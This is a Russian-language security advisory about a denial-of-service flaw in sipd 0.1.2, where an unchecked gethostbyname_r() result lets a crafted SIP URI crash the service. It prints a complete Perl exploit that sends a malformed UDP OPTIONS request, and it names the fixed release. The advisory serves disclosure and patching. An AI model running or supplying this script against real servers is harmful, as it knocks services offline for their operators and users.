Дата публикации: | 14.12.2003 |
Всего просмотров: | 1520 |
Опасность: | Низкая |
Наличие исправления: | Да |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Локальная сеть |
Воздействие: | Отказ в обслуживании |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | sipd 1.x |
Уязвимые версии: sipd 0.1.2
Описание: Отказ в обслуживании обнаружен в sipd. Удаленный пользователь может аварийно завершить работу службы. Программа не проверяет значение, возвращенное функцией gethostbyname_r(). Удаленный пользователь может заставить эту функцию возвратить некорректное значение несуществующего имени хоста (типа 'A192.168.1.6'), чтобы аварийно завершить работу программы. Пример/Эксплоит: #!/usr/bin/perl # SIPd - SIP URI Denial of Service # Kills sipd version 0.1.2 use IO::Socket; use strict; unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" } my $remote_host = shift(@ARGV); my $your_host = shift(@ARGV); my $port = shift(@ARGV); if ($port eq "") $port = "5060"; my $buf = "OPTIONS sip:A$remote_host SIP/2.0\r\ Via: SIP/2.0/UDP $your_host:3277\r\ From: <sip:$your_host:3277>\r\ To: <sip:$your_host:3277>\r\ Call-ID: 12312312\@$your_host\r\ CSeq: 1 OPTIONS\r\ Max-Forwards: 70\r\ \r\n"; my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n"; my $ipaddr = inet_aton($remote_host) || $remote_host; my $portaddr = sockaddr_in($port, $ipaddr); send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n"; print "Now, '$remote_host' must be dead :)\n"; URL производителя:http://www.sxdesign.com/ Решение:Установите обновленную версию программы: http://www.sxdesign.com/download/sipd-0.1.4.tar.bz2 |
|
Ссылки: | sipD gethostbyname_r DoS |